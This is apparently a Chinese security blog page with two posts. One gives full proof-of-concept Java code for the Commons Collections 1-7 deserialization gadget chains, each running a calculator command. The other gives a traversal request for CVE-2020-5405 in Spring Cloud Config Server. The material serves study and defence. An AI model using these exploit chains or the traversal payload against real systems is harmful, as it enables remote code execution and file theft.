bookmark_borderJAVA序列化利用学习:CommonsCollections系列方法总结

本文主要是对Apache CommonsCollections系列的利用方法进行了总结。由于网上已经有太多的分析文章,故未对技术原理做较深入的分析,仅仅是以总结方法为目的。
Apache CommonCollections1-7的利用方法总结如下:

  1. 第一步 准备病毒
  2. 第二步 寻找受体
  3. 第三步 病毒填充到宿主

关于第一步,主要有两种方法:

  1. ChainedTransformer 构造
  2. javassist动态编程生成一个执行命令的类。转化成byte[]类型,填充到某些类(TemplatesImpl)中的“_bytecodes”变量里

关于第二步,主要有两种方法:

  1. 三大Map:LazyMap,TiedMapEntry,HashMap ,对应第一步的第一种方法。
  2. TemplatesImpl类种的_bytecodes可被填充恶意类。对应第一步的第二种方法。

关于第三步,就是用反射把病毒填充到vulnerable的类中,readObject的时候触发病毒。


下面简单了解一下第一步的原理。

通过ChainedTransformer 构造病毒的demo:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformerTest {
	public static void main(String[] args) {
		Transformer[] transformers = new Transformer[] {
				/*
				 * ConstantTransformer: Transformer implementation that returns the same
				 * constant each time.(把一个对象转化为常量,并返回)
				 */
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
						new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" }) };
		// Runtime.getRuntime().exec("calc");
		/*
		 * ChainedTransformer: Transformer implementation that chains the specified
		 * transformers together. (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
		 */
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		chainedTransformer.transform(null);
	}
}

最终 transform() 方法 会在Gnome桌面环境下的kali中弹出计算器。

关于为什么要用ChainedTransformer,引用《浅析 Java 序列化和反序列化》(当中的说法是“通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的。”

通过javassist动态编程生成一个执行命令的类的demo:

import java.io.IOException;

import com.hans.CommonCollection2.CommonsCollections2.Placeholder;

import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;

public class Javassist {

	public static class Hello {
	    public void say() {
	        System.out.println("Hello");
	    }
	}
	
	public static void main(String[] args) throws CannotCompileException, NotFoundException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
		// TODO Auto-generated method stub
		String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
		
		ClassPool cp = ClassPool.getDefault();
		cp.insertClassPath(new ClassClassPath(Placeholder.class));
		cp.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
		CtClass cc = cp.get(Hello.class.getName());
		cc.setSuperclass(cp.get(Class.forName(AbstractTranslet).getName()));
		// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
		// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
		cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
		// 3.设置一个唯一性的class名称
		cc.setName("com.hans.CommonCollections." + System.currentTimeMillis());

		Class c = cc.toClass();
        Hello h = (Hello)c.newInstance();
        //h.say();
	}
}

通过一个demo理解第二步的受体是干嘛的

import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class ChainedTransformerTest {
	public static void main(String[] args) {
	   Transformer[] transformers = new Transformer[]{
		/*
		 * ConstantTransformer:
		 * Transformer implementation that returns the same constant each time.(把一个对象转化为常量,并返回)
		 * */
		   new ConstantTransformer(Runtime.class),
		   new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
		   new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
		   new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"})
	  };
	  //Runtime.getRuntime().exec("calc");
	   /*
	    * ChainedTransformer:
	    * Transformer implementation that chains the specified transformers together.
	    * (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
	    * */
	  Transformer chainedTransformer = new ChainedTransformer(transformers);
	  
	  // code execute;
	  //chainedTransformer.transform(null);
	  
	  Map inMap = new HashMap();
	  inMap.put("key", "value");
	  Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
	  /*
	   * Map中的任意项的Key或者Value被修改,相应的Transformer(keyTransformer或者valueTransformer)的transform方法就会被调用。
	   * */
	  for (Iterator iterator = outMap.entrySet().iterator(); iterator.hasNext();){
	      Map.Entry entry = (Map.Entry) iterator.next();
	      entry.setValue("123");
	  }
		
	}
}

在entry.setValue(“123”);处下断点,可以看到,当恶意的chainedTransformer通过decorate()方法填入Map对象后,在进行Map的setValue操作时,会触发transform()方法,触发代码执行。

但是受体的setValue()方法也是需要触发的,因此需要一个可以通过readObject()触发病毒的宿主。


由于CommonsCollections 1-7思路都差不多,都可以套公式(三步走),所以只分析CommonsCollections1,其他的 用上面提到的方法过一下。
下面看具体代码。
CommonsCollections1.java

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        /*第二步 寻找受体*/
        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
        
        /*第三步 填充病毒*/
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        // 因为构造方法不是 public, 只能通过反射构造出来
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        //将恶意对象存储为字节码
        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        //读取恶意对象字节码并进行反序列化操作
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object evilObject = ois.readObject();
        ois.close();
    }
}

在 ois.readObject(); 处下断点。Object obj = readObject0(false); 跟进

TC_OBJECT条件跟进:

readSerialData(obj, desc);跟进

在这个方法里就是遍历处理Object对象
slotDesc.invokeReadObject(obj, this); 跟进,其他可以一路F6

直到进入我们的主角,宿主AnnotationInvocationHandler

果然在readObject中有对Map对象的操作。
当进入AnnotationInvocationHandler的invoke方法,跟进Object var6 = this.memberValues.get(var4);
嗯,然后就是触发病毒的transform()了。

图中 iTransformers 就是用反射填充进AnnotationInvocationHandler的恶意链。
这里的LazyMap其实就像是病毒的受体一样,就像是最近新冠病毒最先感染人的肺部一样。
而AnnotationInvocationHandler就像是人体一样,里面装的感染的LazyMap,执行序列化工作的时候就会触发肺部激活病毒。

三步总结:

  1. 准备病毒。利用ChainedTransformer制造出可以执行代码的对象
  2. 寻找受体。把病毒填充到LazyMap,这个LazyMap就行人的肺部一样,作为病毒受体。
  3. 填充病毒。把受感染的肺用反射的技术装到宿主(AnnotationInvocationHandler)上。

下面用这个方法把 2-7的POC概括一下:

CommonsCollections2.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static class Placeholder {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        
        /*第一步 准备病毒*/
        
		// 1.使用一个自定义的满足条件的恶意模板类StubTransletPayload
		// 满足条件5:恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
        //Javassist包中建立一个容器
        ClassPool classPool = ClassPool.getDefault();
        //添加自定义的恶意模板类StubTransletPayload的路径至容器的Classpath
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
        
        //从Classpath中寻找自定义的恶意模板类StubTransletPayload,引入它,之后对它进行修改
        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
		// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
		// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
        // 3.设置一个唯一性的class名称
        placeholder.setName("com.hans.CommonCollection2." + System.currentTimeMillis());

        // 4. 把我们的自定义的恶意类转化成byte数组模式
        byte[] bytecode = placeholder.toBytecode();
        
        /*第二步 寻找受体*/
        
        // 动态获取 TemplatesImpl 对象
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        // 反射的方式修改对象
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "hans");

        /*第三步 病毒填充到宿主。*/
        
        // InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args)
        // comparator 是后续方法调用的参数。
        InvokerTransformer<?, ?> invokerTransformer = new InvokerTransformer<Object, Object>("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator<?, ?> comparator = new TransformingComparator<Object, Object>((Transformer<? super Object, ? extends Object>) invokerTransformer);
        PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
        queue.add(1);
        queue.add(1);

        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        // 宿主被填充进 PriorityQueue
        field.set(queue, comparator);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser"));
        oos.writeObject(queue);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

javassist 动态生成病毒,TemplatesImpl作为受体,PriorityQueue作为宿主。

CommonsCollections3.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    public static class Placeholder implements Serializable {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";

        /*第一步 准备病毒*/
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(CommonsCollections3.Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(CommonsCollections3.Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();
        
        
        /*第二步 寻找受体*/
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "hans");
        
        
        /*第三步 病毒填充到宿主。*/
        /* 这一步把三步又走了一遍 */
        /*3.1 准备载体*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName(TrAXFilter)),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*3.2 寻找受体*/
        // 反射的方法获取一个lazyMap
        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);

        /*第三步 病毒填充到宿主。*/
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
        
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser"));
        oos.writeObject(obj);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

这一步的话,可以理解为先往细胞(chainedTransformer)内的组织(InstantiateTransformer)填充了病毒,再把受感染的细胞填充到肺部(LazyMap),最后反射到宿主(AnnotationInvocationHandler)。
更像是1和2的综合利用。

CommonsCollections4.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;

import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {
    public static class Placeholder {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
        
        /*第一步 准备病毒*/
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();
        
        /*第二步 寻找受体*/
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        // 修改templates的_bytecodes变量
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});
        // 修改templates的_name变量
        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "rmb122");
        
        /*第三步 病毒填充到宿主。*/
        /* 这一步把三步又走了一遍 */
        /*3.1 准备*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName(TrAXFilter)),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        /*3.2 */
        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        
        /*3.3 */
        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser"));
        oos.writeObject(queue);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

和CommonsCollections3的思路一模一样,就是技术细节略有不同,宿主由AnnotationInvocationHandler换成了PriorityQueue。

CommonsCollections5.java

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

public class CommonsCollections5 {
	//JDK8
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        /*第二步 寻找受体*/
        HashMap<String, String> hashMap = new HashMap<String, String>();
        Map<?, ?> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
        
        /*第三步 病毒填充到宿主。*/
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        // invoke method should have parameter and return value, tiedMapEntry is parameter ,badAttributeValueExpException is return value.
        field.set(badAttributeValueExpException, tiedMapEntry);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
        oos.writeObject(badAttributeValueExpException);
        oos.close();
        
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
        ois.readObject();
        ois.close();
    }
}

可以看到,公式带进去,变的只有宿主(BadAttributeValueExpException)。

CommonsCollections6.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import com.nqzero.permit.Permit;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 {
	public static void main(String[] args) throws Exception {
		
		/*第一步 准备病毒*/
        String command = "gnome-calculator";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        
        /*第二步 寻找受体*/
        final Map innerMap = new HashMap();
        //创建一个factory为恶意ChainedTransformer对象的lazyMap类实例
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        
        //创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        
        /*第三步 受体填充到宿主。*/
        HashSet map = new HashSet(1);
        map.add("foo");
        
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        //取出HashSet对象的成员变量map
        Permit.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        //取出HashMap对象的成员变量table
        Permit.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);
        //取出table里面的第一个Entry
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        //取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
        Permit.setAccessible(keyField);
        keyField.set(node, entry);
        
        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

万变不离其中,中学数学老师常说的话。即使POC不太一样,最后思路还是一模一样,LazyMap被包裹在了TiedMapEntry里,最后被反射到宿主(HashSet)身上。

CommonsCollections7.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CommonsCollections7 {
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };
        
        /*第二步 寻找受体*/
        Transformer[] fake = new Transformer[]{
                new ConstantTransformer("placeholder"),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
        
        HashMap innerMap1 = new HashMap<String, String>();
        innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
        HashMap innerMap2 = new HashMap<String, String>();
        innerMap2.put("zZ", "1");

        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
        
        /*第三步 病毒填充到宿主。*/
        HashMap hashMap = new HashMap();
        hashMap.put(lazyMap1, "placeholder");
        hashMap.put(lazyMap2, "placeholder");

        // 在 put 的时候产生碰撞, 根据上面的分析调用 LazyMap.get, LazyMap 会将结果存入 innerMap 中缓存, 所以这里需要将其清除, 否则 hashcode 就不一样了 
        // 清除 hash code
        innerMap1.remove("zZ"); 

        // 同上, 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); 
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

和之前6个又不太一样,病毒是在最后反射阶段,宿主都已经构建完成了,再反射进宿主的器官当中。三步走的思路还是适用的。

勤洗手可以预防病毒。

参考:
原理
https://paper.seebug.org/792/
https://badcode.cc/2018/03/15/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommons-Collections/
https://mp.weixin.qq.com/s/XSv3GNkj-23JKl6ccUjxRQ
POC
https://xz.aliyun.com/t/7157
https://www.freebuf.com/articles/web/214096.html

bookmark_borderSpring Cloud Config Serve目录遍历漏洞(CVE-2020-5405)分析

根据https://www.baeldung.com/spring-cloud-configuration 搭环境。其中pom.xml的依赖改为:

  <dependencies>
	    <dependency>
	    <groupId>org.springframework.cloud</groupId>
	    <artifactId>spring-cloud-config-server</artifactId>
	    <version>2.2.0.RELEASE</version>
	</dependency>

	<dependency>
	    <groupId>org.springframework.boot</groupId>
	    <artifactId>spring-boot-starter-web</artifactId>
	    <version>2.2.1.RELEASE</version>
	</dependency>
  </dependencies>

启动项目。根据文章的介绍,查询语句的格式为:

/{application}/{profile}[/{label}]
/{application}-{profile}.yml
/{label}/{application}-{profile}.yml
/{application}-{profile}.properties
/{label}/{application}-{profile}.properties

label是git分支

application 是应用名字

profile 是当前正在使用应用的profile
正常的请求,可以读取git仓库下的任何文件


而问题就出在{label}

先上POC:

GET /config-client/development/master(_)..(_)..(_)..(_)..(_)..(_)..(_)/etc/resolv.conf HTTP/1.1
Host: kali-xps:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hibext_instdsigdipv2=1
Upgrade-Insecure-Requests: 1

通过补丁https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0 定位到需在

spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java

下断点

debug

发送payload:

可以看到以uri中的/为边界,分别获取到了 application profile 和 label。
resolveLabel()方法将 label中的(_)替换为了/

跟进 resolveLabel()方法:

仅仅是判断非空且包含(_)就替换为/

所以label部分跨目录时不能出现/ ,否则/右边的部分就视为git 仓库下的文件了。

label右边出现第一个 / 符号后的内容 全放在path里。
